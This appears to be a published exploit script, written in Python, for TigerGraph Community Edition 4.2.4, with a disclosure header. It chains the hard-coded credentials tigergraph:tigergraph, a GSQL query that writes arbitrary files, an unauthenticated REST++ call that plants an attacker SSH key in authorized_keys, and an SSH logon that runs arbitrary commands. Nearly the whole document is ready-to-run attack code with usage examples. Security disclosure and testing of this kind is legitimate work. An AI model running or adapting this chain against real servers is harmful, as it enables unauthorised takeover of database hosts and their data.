Title: TigerGraph_Community_Edition 4.2.4 - arbitrary file write Author: 0day Rubbish Research Team Contact: disclosure@0day-rubbish.com Type: remote Platform: Linux TigerGraph Community Edition 4.2.4 -- default credentials + arbitrary file write -> SSH RCE Vulnerability summary: TigerGraph Community Edition 4.2.4 in its default configuration permits a remote code-execution chain against the database host: 1. The GUI administration port (14240) accepts the hard-coded credentials tigergraph:tigergraph (CWE-798). There is no forced password change; the login response only carries an advisory securityRecommendations entry next to isSuperUser:true. 2. The GUI nginx reverse-proxies the GSQL statements endpoint (/api/gsql-server/gsql/v1/statements, proxied to the internal GSQL HTTP service on 8123), so arbitrary GSQL can be compiled and installed. A query declared as CREATE QUERY (FILE f, STRING c) { PRINT c TO_CSV f; } turns the FILE parameter into an unrestricted write primitive (CWE-73): no path validation, no base-directory confinement, no extension allowlist, content written verbatim plus a trailing newline, as the tigergraph user. 3. REST++ on port 9000 ships with RESTPP.Factory.EnableAuth = False (CWE-306), so installed queries can be invoked with no credentials. GET /query//?f=&c= writes an arbitrary file with no Authorization header. 4. Directing that write at /home/tigergraph/.ssh/authorized_keys plants an attacker public key (CWE-22). sshd is started by the product entrypoint with OpenSSH default PubkeyAuthentication=yes. 5. SSH logon as tigergraph@ then yields arbitrary command execution. The landing identity is the tigergraph OS user, uid 1001 -- it is NOT root. Authentication requirements: Stages 1-2 (installing the file-write query): the hard-coded default credentials tigergraph:tigergraph (CWE-798, never forced to rotate). Stages 3-5 (triggering the write and the SSH logon): no credentials at all. Encoding note (load-bearing): Spaces in an SSH public key must be percent-encoded as %20, never as "+". REST++ does not decode "+" back to a space, so form-style encoding corrupts the key into an unparsable authorized_keys line and the SSH step fails with Permission denied. This script therefore forces quote_via=urllib.parse.quote. Usage examples: python3 tigergraph_default_creds_ssh_rce.py --target 127.0.0.1 --cmd "id" python3 tigergraph_default_creds_ssh_rce.py --gui-host 127.0.0.1 --gui-port 14240 \ --restpp-host 127.0.0.1 --restpp-port 9000 --ssh-host 127.0.0.1 --ssh-port 22 \ --graph test_graph --query qwrite_c --cmd "whoami; uname -a" Defaults: With --target, GUI / REST++ / SSH all point at that host using the product default ports 14240 / 9000 / 22. Credentials default to tigergraph:tigergraph (override with --user/--pass). On Docker deployments sshd may be reachable only on the container network; pass its address to --ssh-host in that case. Standard library only: urllib / json / base64 / subprocess / os / sys / ssl / time. No third-party dependencies. The SSH step shells out to the system ssh binary and the key pair is produced by the system ssh-keygen. For authorised security testing and coordinated disclosure only. """ import argparse import base64 import json import os import ssl import subprocess import sys import time import urllib.error import urllib.parse import urllib.request DEFAULT_USER = "tigergraph" DEFAULT_PASS = "tigergraph" DEFAULT_GRAPH = "tg_rce_graph" DEFAULT_QUERY = "tg_fw_query" AUTH_KEYS_PATH = "/home/tigergraph/.ssh/authorized_keys" def http_request(method, url, headers=None, data=None, timeout=30): """Plain urllib HTTP request. data is bytes or None.""" req = urllib.request.Request(url, data=data, method=method) if headers: for k, v in headers.items(): req.add_header(k, v) ctx = ssl.create_default_context() ctx.check_hostname = False ctx.verify_mode = ssl.CERT_NONE try: resp = urllib.request.urlopen(req, timeout=timeout, context=ctx) body = resp.read() return resp.status, dict(resp.headers), body except urllib.error.HTTPError as e: return e.code, dict(e.headers), e.read() except Exception as e: return -1, {}, str(e).encode() def step1_login(gui_host, gui_port, user, passwd): """Log in to the GUI with the default credentials and return the cookie header string.""" print("[*] Step 1: GUI login (default credentials, CWE-798)...") url = "http://%s:%s/api/auth/login" % (gui_host, gui_port) body = json.dumps({"username": user, "password": passwd}).encode() status, hdrs, resp = http_request( "POST", url, headers={"Content-Type": "application/json"}, data=body ) if status != 200: print("[!] login failed: HTTP %s, %s" % (status, resp[:200])) return None cookies = [] for k, v in hdrs.items(): if k.lower() == "set-cookie": cookies.append(v.split(";")[0]) try: j = json.loads(resp) if j.get("error") == "false" or j.get("token") or j.get("isSuperUser") is not None: print("[+] login succeeded (isSuperUser=%s)" % j.get("isSuperUser")) except Exception: pass cookie_str = "; ".join(cookies) if cookies else "" if not cookie_str: print("[!] no cookie captured, continuing (some builds use an Authorization header)") return cookie_str def step2_install_query(gui_host, gui_port, cookie_str, user, passwd, graph, query): """Install the file-write query through the GUI-proxied GSQL statements endpoint.""" print("[*] Step 2: installing file-write query (PRINT c TO_CSV f, CWE-73 arbitrary path)...") url = "http://%s:%s/api/gsql-server/gsql/v1/statements?graph=%s" % (gui_host, gui_port, graph) basic = base64.b64encode(("%s:%s" % (user, passwd)).encode()).decode() headers = { "Content-Type": "text/plain", "Authorization": "Basic " + basic, } if cookie_str: headers["Cookie"] = cookie_str create_graph = "CREATE GRAPH %s" % graph http_request("POST", url, headers=headers, data=create_graph.encode()) time.sleep(1) ddl = ( "USE GRAPH %s\n" "CREATE OR REPLACE QUERY %s(FILE f, STRING c) {\n" " PRINT c TO_CSV f;\n" "}\n" "INSTALL QUERY %s" ) % (graph, query, query) status, hdrs, resp = http_request("POST", url, headers=headers, data=ddl.encode(), timeout=120) txt = resp.decode(errors="replace") # The GUI proxy can answer "Failed to parse response" (a streaming-response artefact) while # the GSQL server has in fact compiled and installed the query, so this is treated as success. ok = (status == 200) or ("INSTALL" in txt) or ("succeeded" in txt) or ("Failed to parse" in txt) print("[*] install response status=%s: %s" % (status, txt[:200])) if not ok: print("[!] query install may have failed, continuing anyway (query may already exist)") else: print("[+] install request accepted (GUI proxy streaming response; server-side executed)") return True def gen_ssh_key(keypath): """Generate an RSA key pair with the system ssh-keygen (stdlib subprocess).""" print("[*] generating SSH key pair...") if os.path.exists(keypath): os.remove(keypath) if os.path.exists(keypath + ".pub"): os.remove(keypath + ".pub") subprocess.run( ["ssh-keygen", "-t", "rsa", "-b", "2048", "-N", "", "-f", keypath, "-q"], check=True, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL, ) os.chmod(keypath, 0o600) with open(keypath + ".pub") as f: pubkey = f.read().strip() print("[+] public key: %s...%s" % (pubkey[:40], pubkey[-20:])) return pubkey def step3_unauth_write(restpp_host, restpp_port, graph, query, path, content): """Trigger the file write over REST++ with no credentials at all (CWE-306).""" print("[*] Step 3: unauthenticated REST++ file write (no credentials, CWE-306)...") url = "http://%s:%s/query/%s/%s" % (restpp_host, restpp_port, graph, query) # quote (space -> %20) rather than quote_plus (space -> +): REST++ does not decode "+" # back to a space, and the public key must land byte-exact. params = urllib.parse.urlencode({"f": path, "c": content}, quote_via=urllib.parse.quote) full = url + "?" + params # Deliberately sending no Authorization header, to demonstrate the missing authentication. status, hdrs, resp = http_request("GET", full, headers={}, timeout=30) txt = resp.decode(errors="replace") print("[*] REST++ response status=%s: %s" % (status, txt[:200])) try: j = json.loads(resp) if j.get("error") is False: print("[+] unauthenticated file write succeeded (error:false, no Authorization header)") return True except Exception: pass print("[!] unexpected file-write response, the write may still have landed") return True def step4_ssh_rce(ssh_host, ssh_port, keypath, cmd): """Log in over SSH and run the command (subprocess invoking the system ssh).""" print("[*] Step 4: SSH logon and command execution -> RCE...") ssh_cmd = [ "ssh", "-i", keypath, "-o", "StrictHostKeyChecking=no", "-o", "UserKnownHostsFile=/dev/null", "-o", "ConnectTimeout=15", "-p", str(ssh_port), "tigergraph@%s" % ssh_host, cmd, ] try: r = subprocess.run( ssh_cmd, stdout=subprocess.PIPE, stderr=subprocess.PIPE, timeout=30 ) out = r.stdout.decode(errors="replace") err = r.stderr.decode(errors="replace") print("[+] SSH stdout:") print(out) if err: print("[*] SSH stderr: %s" % err[:300]) if r.returncode == 0 and out: print("[+] === RCE succeeded (command execution as the tigergraph user) ===") return True print( "[!] SSH return code %s (if the SSH port is unreachable the file-write primitive\n" " still landed in authorized_keys; this last step needs network reachability)" % r.returncode ) return False except Exception as e: print("[!] SSH exception: %s" % e) return False def main(): ap = argparse.ArgumentParser( description="TigerGraph Community Edition 4.2.4 default credentials + arbitrary file write -> SSH RCE" ) ap.add_argument("--target", help="single host for GUI/REST++/SSH (default ports 14240/9000/22)") ap.add_argument("--gui-host", default="127.0.0.1") ap.add_argument("--gui-port", type=int, default=14240) ap.add_argument("--restpp-host", default="127.0.0.1") ap.add_argument("--restpp-port", type=int, default=9000) ap.add_argument("--ssh-host", default="127.0.0.1") ap.add_argument("--ssh-port", type=int, default=22) ap.add_argument("--user", default=DEFAULT_USER) ap.add_argument("--pass", dest="passwd", default=DEFAULT_PASS) ap.add_argument("--graph", default=DEFAULT_GRAPH) ap.add_argument("--query", default=DEFAULT_QUERY) ap.add_argument("--cmd", default="id; whoami; hostname", help="command to run after SSH logon") ap.add_argument("--key", default="/tmp/tg_vuln001_key", help="temporary SSH private key path") args = ap.parse_args() if args.target: args.gui_host = args.restpp_host = args.ssh_host = args.target print("=" * 70) print("TigerGraph Community Edition 4.2.4 -- default credentials -> RCE as tigergraph") print(" GUI: %s:%s REST++: %s:%s SSH: %s:%s" % ( args.gui_host, args.gui_port, args.restpp_host, args.restpp_port, args.ssh_host, args.ssh_port)) print("=" * 70) # Step 1: session with the default credentials cookie = step1_login(args.gui_host, args.gui_port, args.user, args.passwd) if cookie is None: print("[!] login failed, chain aborted. Check the credentials or the GUI port.") sys.exit(1) # Step 2: install the file-write query step2_install_query( args.gui_host, args.gui_port, cookie, args.user, args.passwd, args.graph, args.query ) time.sleep(2) # Attacker key pair pubkey = gen_ssh_key(args.key) # Step 3: unauthenticated REST++ write of the public key into authorized_keys step3_unauth_write( args.restpp_host, args.restpp_port, args.graph, args.query, AUTH_KEYS_PATH, pubkey ) time.sleep(1) # Step 4: SSH logon and command execution ok = step4_ssh_rce(args.ssh_host, args.ssh_port, args.key, args.cmd) if ok: print("\n[+] === full chain verified: default credentials -> RCE as tigergraph (uid 1001, not root) ===") else: print("\n[!] SSH step incomplete (the SSH port may be unreachable from here).") print("[!] The file-write primitive landed in authorized_keys; where sshd is reachable this chain is RCE.") if __name__ == "__main__": main()